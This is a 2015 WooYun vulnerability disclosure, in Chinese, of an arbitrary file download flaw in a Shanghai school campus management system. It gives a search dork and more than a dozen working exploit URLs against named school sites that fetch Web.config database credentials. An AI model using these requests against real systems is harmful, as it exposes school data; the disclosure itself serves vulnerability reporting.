当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0100065

漏洞标题：某数字化校园管理系统任意文件下载漏洞

相关厂商：上海鼎创信息科技有限公司

漏洞作者： 路人甲

提交时间：2015-03-09 16:00

修复时间：2015-04-30 18:48

公开时间：2015-04-30 18:48

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-09： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-04-30： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

鼎创数字化校园管理系统任意文件下载漏洞，可直接下载配置文件，泄露数据库连接信息
官网：http://www.goodo.com.cn/
成功案例：http://www2.goodo-edu.com/Web/goodoweb/216005.htm
百度搜索：inurl:/EduPlate/
1.png




任意文件下载链接： /OpenFile/OpenFile2.aspx?Url=

漏洞证明：

测试案例：
http://www.jflxx.fxedu.cn/
【任意文件下载】
http://www.jflxx.fxedu.cn/OpenFile/OpenFile2.aspx?Url=/Web.config
1.png






2.png



 
其他案例：
http://218.78.245.29/OpenFile/OpenFile2.aspx?Url=/Web.config 
http://www.psgqzh.pudong-edu.sh.cn/OpenFile/OpenFile2.aspx?Url=/Web.config 
http://www.mlzx.net/OpenFile/OpenFile2.aspx?Url=/Web.config 
http://218.78.245.29/OpenFile/OpenFile2.aspx?Url=/Web.config 
http://shinan.hpe.sh.cn/OpenFile/OpenFile2.aspx?Url=/Web.config 
http://210.22.116.110/OpenFile/OpenFile2.aspx?Url=/Web.config
http://www.jcsy.pudong-edu.sh.cn/OpenFile/OpenFile2.aspx?Url=/Web.config 
http://210.22.116.73/OpenFile/OpenFile2.aspx?Url=/Web.config 
http://www.jflxx.fxedu.cn/OpenFile/OpenFile2.aspx?Url=/Web.config 
http://218.78.210.215/OpenFile/OpenFile2.aspx?Url=/Web.config 
http://lczx.xhedu.sh.cn/OpenFile/OpenFile2.aspx?Url=/default.aspx 
http://www.huiminxx.edu.sh.cn/hmxx/OpenFile/OpenFile2.aspx?Url=/Web.config 
http://218.78.244.155/hmxx/OpenFile/OpenFile2.aspx?Url=/Web.config 
http://218.78.210.87/OpenFile/OpenFile2.aspx?Url=/Web.config 
http://www.ygxx.hpe.cn/OpenFile/OpenFile2.aspx?Url=/Web.config

修复方案：

权限控制

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝